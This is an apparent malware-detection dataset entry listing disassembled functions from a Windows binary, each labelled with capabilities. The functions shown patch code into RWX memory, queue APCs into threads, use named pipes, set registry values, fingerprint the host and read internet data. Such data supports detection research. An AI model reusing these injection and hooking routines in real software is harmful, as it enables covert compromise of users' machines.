joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100058de
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [0x1002b178]
mov ebx, 0x10023b1d
mov eax, 0x10023b3e
sub eax, ebx
imul esi, eax
add esi, dword [0x1002b174]
push eax
push ebx
push esi
call sub.ntdll.dll_memcpy
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push 4
push 0x40
push edi
call ebp
test eax, eax
je 0x10005975
mov ecx, dword [0x1002aef0]
mov eax, esi
sub eax, ebx
mov dword [eax + 0x10023b2b], esi
mov dword [eax + 0x10023b3a], edi
movzx ebx, byte [ecx + 2]
mov ebx, dword [edi + ebx*4]
lea edx, [eax + 0x10023b36]
sub ebx, edx
sub ebx, 4
mov dword [edx], ebx
lea eax, [eax + 0x10023b30]
mov edx, 0x100057f8
sub edx, eax
sub edx, 4
mov dword [eax], edx
movzx eax, byte [ecx + 2]
mov dword [edi + eax*4], esi
inc dword [0x1002b178]
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push 0x40
push edi
call ebp
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10005b29
Capabilities:
Access pe header
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push dword [ebp + 8]
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
xor bl, bl
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov dword [ebp - 0x10], eax
cmp eax, esi
jne 0x10005b57
mov dword [ebp - 4], 0xb
jmp 0x10005c4e
push edi
push 1
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call fcn.10010606
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
jne 0x10005b8a
push dword [ebp - 0xc]
call fcn.10007364
push dword [ebp - 0xc]
mov ebx, eax
push 0
push dword [0x1002b100]
shr ebx, 0x10
call edi
push 5
xor ecx, ecx
mov eax, 0x1002aa4c
pop edx
cmp bl, byte [eax]
jb 0x10005b9a
mov ecx, eax
add eax, 5
dec edx
jne 0x10005b94
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0xc]
mov dword [0x1002aef0], ecx
call fcn.100039c4
test eax, eax
jne 0x10005bf2
cmp dword [ebp - 0x14], 8
jne 0x10005bf2
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov ebx, dword [ebp - 0x10]
cmp ecx, dword [ebx + 0x58]
jne 0x10005be1
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x10005be1
cmp ecx, dword [ebx + 0x50]
jae 0x10005be1
mov esi, ecx
add esi, dword [ebp + 8]
mov dword [ebp - 8], esi
push eax
push 0
push dword [0x1002b100]
call edi
test esi, esi
jne 0x10005c40
jmp 0x10005bf5
mov ebx, dword [ebp - 0x10]
push 0x40
push 0x3000
push 0x1000000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x1002b174], eax
test eax, eax
je 0x10005c4d
mov eax, dword [ebp + 0xc]
mov dword [0x1002aeec], eax
mov eax, dword [ebx + 0x58]
mov dword [0x1002aee4], eax
mov eax, dword [ebp + 8]
mov dword [0x1002aee8], eax
push eax
lea eax, [ebp - 8]
call fcn.1000597a
test eax, eax
je 0x10005c3d
and dword [ebp - 4], 0
jmp 0x10005c4d
mov esi, dword [ebp - 8]
push dword [ebp + 8]
mov ecx, esi
call fcn.10005751
mov dword [ebp - 4], eax
pop edi
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret 8
Function at 0x100065b4
Capabilities:
Create thread

Disassembly:
push ecx
push esi
xor esi, esi
call fcn.100037d5
lea eax, [esp + 4]
push eax
push esi
push esi
push 0x10006489
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
je 0x100065de
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100065e6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, esi
pop esi
pop ecx
ret

Function at 0x1000690b
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
xor eax, eax
push 7
mov word [ebp - 0x2c], ax
pop ecx
lea edi, [ebp - 0x2a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, dword [sym.imp.ntdll.dll_wcscpy]
lea eax, [ebp - 0x2c]
push 0x1002c8a0
xor ebx, ebx
push eax
mov dword [ebp - 8], ebx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
pop ecx
pop ecx
push ebx
push ebx
call esi
mov dword [ebp - 0xc], eax
lea eax, [eax + eax + 4]
push eax
push ebx
push dword [0x1002b100]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x100069f4
mov eax, dword [ebp - 0xc]
lea eax, [eax + eax + 4]
push eax
push ebx
push dword [ebp - 4]
call sub.ntdll.dll_memset
add esp, 0xc
push dword [ebp - 4]
push dword [ebp - 0xc]
call esi
mov esi, dword [ebp - 4]
jmp 0x100069df
push ebx
push dword [0x1002b220]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x100069e4
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x100069d4
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 4
cmp eax, 0x10
jae 0x100069d4
lea eax, [ebp - 0x24]
push esi
push eax
call edi
pop ecx
pop ecx
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
lea eax, [ebp - 0x2c]
push dword [ebp + 8]
push eax
call fcn.1000e691
add dword [ebp - 8], eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [esi + eax*2 + 2]
cmp word [esi], bx
jne 0x10006987
push dword [ebp - 4]
push ebx
push dword [0x1002b100]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x10006b57
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor ebx, ebx
push edi
mov esi, eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebx
push ebx
push 3
mov edi, 0x1002b260
push edi
push 3
push SysReAllocString
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x10006c25
push 1
push 0x1002c3c2
lea eax, [ebp - 0xc]
call fcn.1000fa3e
mov dword [ebp + 8], eax
cmp eax, ebx
je 0x10006c13
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push eax
push ebx
push 2
push edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, ebx
je 0x10006bf8
push dword [ebp + 8]
cdq
mov dword [esi], eax
mov eax, dword [ebp - 0xc]
mov dword [esi + 0x10], ebx
mov dword [esi + 4], edx
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push dword [ebp + 8]
mov dword [esi + 0xc], eax
add esi, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x10006c01
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
push dword [ebp + 8]
push ebx
push dword [0x1002b100]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10006c1a
mov dword [ebp - 4], 8
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10006c2e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10006c38
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
xor esi, esi
push 0x40
lea eax, [ebp - 0x70]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call sub.ntdll.dll_memset
mov dword [ebp - 0x28], esi
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
push esi
stosd dword es:[edi], eax
mov dword [ebp - 0x74], 0x44
mov dword [ebp - 8], esi
call fcn.1000e428
mov edi, eax
cmp edi, esi
je 0x10006caf
push edi
call fcn.10010703
mov ebx, eax
cmp ebx, esi
je 0x10006c9e
push ebx
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push ebx
push edi
call sub.ntdll.dll_wcstombs
add esp, 0xc
push ebx
jmp 0x10006c9f
push edi
call fcn.100012ff
cmp dword [ebp - 8], esi
je 0x10006caf
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x10]
push esi
push 0xc000000
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10006d1d
mov eax, dword [0x1002b220]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x28]
push 0xffffffffffffffff
mov dword [ebp - 0x14], eax
push esi
lea eax, [ebp - 0x18]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0xc], eax
cmp eax, esi
jne 0x10006cfe
mov dword [ebp - 0xc], 0x102
jmp 0x10006d0b
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x28]
call edi
jmp 0x10006d26
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 8], esi
je 0x10006d33
push dword [ebp - 8]
call fcn.100012ff
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x1000721b
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
jne 0x100072b2
push edi
cmp dword [ebp + 0x10], ebx
je 0x10007295
mov esi, dword [ebp + 0x14]
cmp esi, ebx
je 0x10007295
push esi
call fcn.100012ea
mov edi, eax
cmp edi, ebx
je 0x10007290
push esi
push dword [ebp + 0x10]
push edi
call sub.ntdll.dll_memcpy
add esp, 0xc
cmp dword [ebp + 0x18], ebx
je 0x10007275
push ebx
push dword [0x1002b224]
mov eax, esi
mov edx, edi
call fcn.10011aca
push esi
push edi
push 3
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push edi
mov esi, eax
call fcn.100012ff
jmp 0x100072a8
push 8
pop esi
jmp 0x100072a8
push ebx
push ebx
push 3
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x10007b45
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
or dword [ebp - 8], 0xffffffff
cmp byte [0x1002b210], 5
push ebx
push edi
ja 0x10007b65
mov dword [ebp - 8], 0x1388
mov edi, 0x4000
push edi
push 0
push dword [0x1002b100]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x10007c04
lea eax, [ebp - 4]
push eax
push edi
push ebx
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10007bcd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x10007be3
push dword [ebp - 8]
push dword [esi + 0x3c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x10007bba
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x102
je 0x10007bf3
test eax, eax
jne 0x10007be3
mov eax, dword [esi + 0x30]
cmp eax, 1
je 0x10007be3
cmp dword [ebp - 4], 0
je 0x10007bec
mov eax, dword [esi]
mov ecx, dword [eax]
push 0
push dword [ebp - 4]
push ebx
push eax
call dword [ecx + 0x10]
jmp 0x10007b83
mov dword [esi + 0x30], 1
jmp 0x10007bf3
mov dword [esi + 0x30], 2
push ebx
push 0
push dword [0x1002b100]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10007c0b
mov dword [esi + 0x30], 1
mov eax, dword [esi]
call fcn.100014a4
pop edi
pop ebx
leave
ret 4

Function at 0x100083c1
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
and dword [ebp + 8], 0
push esi
push edi
push ebx
mov esi, eax
call fcn.10007cf0
mov edi, eax
test edi, edi
je 0x10008411
push ebx
call fcn.10007c8a
lea eax, [esi + 0x18]
mov ecx, dword [eax]
push eax
push ecx
push dword [esi + 0x14]
mov dword [esi + 0x1c], ecx
mov edx, dword [edi]
mov ebx, dword [edx]
push edx
call dword [ebx + 0xc]
test eax, eax
jne 0x10008400
xor esi, esi
inc esi
jmp 0x10008403
mov esi, dword [ebp + 8]
push 0
lea eax, [edi - 0x1c]
push 0
call fcn.1001d76f
jmp 0x1000842f
cmp dword [ebp + 0x14], 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push ebx
je 0x10008427
call dword [sym.imp.WININET.dll_InternetReadFileExW]
jmp 0x1000842d
call dword [sym.imp.WININET.dll_InternetReadFileExA]
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x10009c17
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
push 8
pop ebx
push dword [ebp + 8]
call esi
add eax, 5
push eax
push 0
push dword [0x1002b100]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x10009ca2
push dword [ebp + 8]
push 0x1002c35c
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [0x1002b1c8]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ebx, eax
test ebx, ebx
jne 0x10009c93
push dword [ebp + 0xc]
call esi
inc eax
push eax
push dword [ebp + 0xc]
push 1
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push 0
push dword [0x1002b100]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 8

Function at 0x1000a71c
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
xor ebx, ebx
push 6
xor eax, eax
pop ecx
lea edi, [ebp - 0x1c]
mov dword [ebp - 0x20], ebx
rep stosd dword es:[edi], eax
cmp dword [ebp + 8], ebx
je 0x1000a744
push dword [ebp + 8]
call esi
push ebx
push 4
mov dword [ebp - 0x20], 0x1c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x1000a7c6
push 0x1002cfc7
push 0x1002c01d
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
call sub.KERNEL32.dll_Thread32First
jmp 0x1000a7bd
mov eax, dword [ebp - 0x14]
cmp eax, dword [0x1002b20c]
jne 0x1000a7b1
push dword [ebp - 0x18]
push ebx
push 0x1f03ff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
cmp edi, ebx
je 0x1000a7b1
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
push edi
call esi
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1000a783
push dword [ebp + 8]
call esi
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x1000ad47
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
push esi
stosd dword es:[edi], eax
push 1
push esi
stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0xc], eax
cmp eax, esi
je 0x1000ae0e
mov ecx, dword [0x1002b220]
mov dword [ebp + 0xc], esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x10]
push ebx
push dword [ebp + 8]
cmp dword [ebp + 0x14], esi
je 0x1000ada2
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x1000ada8
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, esi
jne 0x1000ade7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp edi, 0x3e5
jne 0x1000adfc
push 0x2710
push esi
lea eax, [ebp - 8]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov edi, eax
cmp edi, 1
jne 0x1000adf3
push esi
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
mov eax, dword [ebp + 0xc]
add ebx, eax
sub dword [ebp + 0x10], eax
jne 0x1000ad86
jmp 0x1000ae01
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CancelIo]
cmp dword [ebp + 0x10], esi
jne 0x1000ae03
xor edi, edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000ae16
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x1000b118
Capabilities:
Connect pipe
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
push ebx
add eax, 0x10
push esi
push edi
mov dword [ebp - 4], eax
xor esi, esi
xor eax, eax
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor ebx, ebx
push 8
stosd dword es:[edi], eax
pop edi
cmp dword [ebp + 0x14], esi
je 0x1000b1e1
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
inc ebx
add dword [ebp - 4], ebx
push dword [ebp - 4]
push esi
push dword [0x1002b100]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1000b203
mov eax, dword [0x1002b20c]
mov edi, dword [ebp + 0x10]
mov dword [esi + 4], eax
movzx eax, word [ebp + 8]
mov dword [esi], eax
lea eax, [ebx + edi]
mov dword [esi + 8], eax
mov dword [esi + 0xc], ebx
test ebx, ebx
je 0x1000b19c
push ebx
push dword [ebp + 0x14]
lea eax, [esi + 0x10]
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
cmp dword [ebp + 0xc], 0
je 0x1000b1b7
test edi, edi
je 0x1000b1b7
push edi
push dword [ebp + 0xc]
lea eax, [esi + ebx + 0x10]
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
push 1
lea eax, [ebp - 8]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 4]
push esi
push dword [0x1002b1b8]
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
test eax, eax
jne 0x1000b1f2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1000b1f4
cmp dword [ebp + 8], 0x119
jne 0x1000b154
xor eax, eax
jmp 0x1000b205
xor edi, edi
push esi
push 0
push dword [0x1002b100]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x1000b264
Capabilities:
Create pipe
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x1002b260
xor edi, edi
push edi
mov eax, 0x100
push eax
push eax
push 0xff
push 4
push 0x40000003
push dword [0x1002b1b8]
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000b2c7
lea eax, [ebp - 4]
push eax
push edi
push esi
push 0x1000af62
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
je 0x1000b2b6
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
jmp 0x1000b2cf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000b2cf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, edi
pop edi
pop esi
leave
ret 4
Function at 0x1000bb20
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
push ebx
xor ebx, ebx
push esi
mov esi, dword [ebp + 8]
mov dword [esp + 0xc], 1
cmp dword [edi + 0x28], ebx
jne 0x1000bb48
mov eax, dword [edi + 0x34]
test al, 0x40
je 0x1000bcc2
mov eax, dword [edi + 0x34]
test al, 1
je 0x1000bc78
mov eax, dword [edi + 0x34]
test al, 6
jne 0x1000bbd8
mov eax, dword [edi + 0x34]
test al, 0x40
jne 0x1000bbd0
or dword [esp + 0xc], 0xffffffff
cmp dword [edi + 0x28], ebx
je 0x1000bbe9
mov ecx, dword [edi + 0x28]
mov eax, dword [edi + 4]
mov edx, dword [eax]
lea esi, [esp + 0xc]
push esi
mov esi, dword [edi + 0x24]
sub esi, ecx
add esi, dword [edi + 0x20]
push ecx
push esi
push eax
call dword [edx + 0x10]
mov esi, dword [ebp + 8]
mov eax, dword [esi + 4]
push ebx
push 0x4000
push dword [edi + 0x20]
push dword [esi]
call dword [eax + 4]
add esp, 0x10
cmp eax, ebx
mov dword [edi + 0x24], eax
jle 0x1000bba9
mov dword [edi + 0x28], eax
jmp 0x1000bbc9
je 0x1000bbc0
mov eax, dword [0x1002aaf8]
cmp eax, 0xffffffff
je 0x1000bbc3
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
cmp eax, ebx
je 0x1000bbc3
mov dword [edi + 0x2c], ebx
mov dword [edi + 0x24], ebx
mov dword [edi + 0x28], ebx
cmp dword [edi + 0x28], ebx
jne 0x1000bb6b
jmp 0x1000bbe3
mov dword [edi + 0x2c], ebx
mov dword [edi + 0x28], ebx
jmp 0x1000bbe3
push edi
push esi
call fcn.1000b49a
mov dword [esp + 0xc], eax
cmp dword [esp + 0xc], ebx
jge 0x1000bbf4
mov eax, dword [edi + 0x34]
test al, 0x40
je 0x1000bcc2
mov eax, dword [edi + 0xc]
cmp eax, ebx
je 0x1000bc15
push eax
push dword [edi + 4]
call fcn.1000aa93
cmp eax, 0xe8
jne 0x1000bc15
or dword [esp + 0xc], 0xffffffff
jmp 0x1000bcc2
mov eax, dword [edi + 0x30]
push dword [edi + 0x38]
not eax
mov ebx, 0x100
and eax, ebx
push eax
mov eax, dword [esi + 0x10]
mov esi, dword [edi + 0x40]
and eax, 0x80
push eax
push dword [edi + 0x18]
push dword [edi + 8]
push dword [edi + 4]
call fcn.1000555a
mov dword [edi + 0x30], eax
or dword [edi + 0x30], ebx
mov eax, dword [edi + 4]
call fcn.100014a4
test eax, eax
jne 0x1000bc56
cmp dword [edi + 0x2c], eax
jne 0x1000bc5c
push edi
call fcn.1000b700
mov eax, dword [edi + 0x30]
test al, 1
jne 0x1000bc70
mov eax, dword [edi + 0x34]
test al, 2
jne 0x1000bcc2
cmp dword [edi + 0x2c], 0
jne 0x1000bcc2
push edi
call fcn.1000b700
jmp 0x1000bcc2
mov esi, dword [edi + 0x24]
mov eax, dword [edi + 0x28]
add esi, dword [edi + 0x20]
mov ebx, dword [edi]
mov ecx, ebx
mov dword [esp + 0x10], eax
sub esi, eax
call fcn.100077ff
mov edx, dword [ebx]
xor ecx, ecx
push ecx
push 2
mov dword [esp + 0x1c], eax
push ecx
xor eax, eax
push eax
push ebx
call dword [edx + 0x14]
mov eax, dword [ebx]
push 0
push dword [esp + 0x14]
push esi
push ebx
call dword [eax + 0x10]
mov eax, dword [ebx]
xor esi, esi
push esi
push esi
push esi
push dword [esp + 0x20]
push ebx
call dword [eax + 0x14]
mov dword [edi + 0x28], esi
mov eax, dword [esp + 0xc]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000cd63
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push esi
call fcn.100026b7
cmp dword [0x1002b108], esi
je 0x1000cd82
push esi
push 2
push 1
call fcn.1000155a
cmp dword [0x1002b114], esi
je 0x1000cdd4
lea eax, [ebp - 4]
push eax
push 0x1002c235
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1000cdd4
push dword [0x1002b4a8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push dword [0x1002b4a8]
push 1
push esi
push dword [0x1002b114]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret

Function at 0x1000d86c
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1002b224]
push ebx
mov dword [ebp - 8], eax
xor ebx, ebx
push edi
lea eax, [ebp - 8]
mov edx, esi
mov dword [ebp - 4], ebx
call fcn.1000f98c
mov edi, dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 4]
push eax
push ebx
call edi
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x1000d8e5
add eax, eax
push eax
push ebx
push dword [0x1002b100]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x1000d8e5
lea ecx, [ebp - 4]
push ecx
push eax
call edi
test eax, eax
je 0x1000d8d5
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
add eax, eax
push eax
xor eax, eax
call fcn.10011b4e
not eax
xor dword [esi], eax
push dword [ebp - 8]
push ebx
push dword [0x1002b100]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [ebp - 4]
push eax
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x1000d941
add eax, eax
push eax
push ebx
push dword [0x1002b100]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
cmp edi, ebx
je 0x1000d941
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x1000d933
mov eax, dword [ebp - 4]
add eax, eax
push eax
mov edx, edi
xor eax, eax
call fcn.10011b4e
not eax
xor dword [esi + 0xc], eax
push edi
push ebx
push dword [0x1002b100]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
inc eax
xor ecx, ecx
cpuid
lea edi, [ebp - 0x18]
mov dword [edi], eax
mov eax, dword [esi + 4]
mov dword [edi + 4], ebx
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
xor eax, dword [ebp - 0xc]
pop edi
xor eax, dword [ebp - 0x10]
pop ebx
xor eax, dword [ebp - 0x18]
mov dword [esi + 4], eax
leave
ret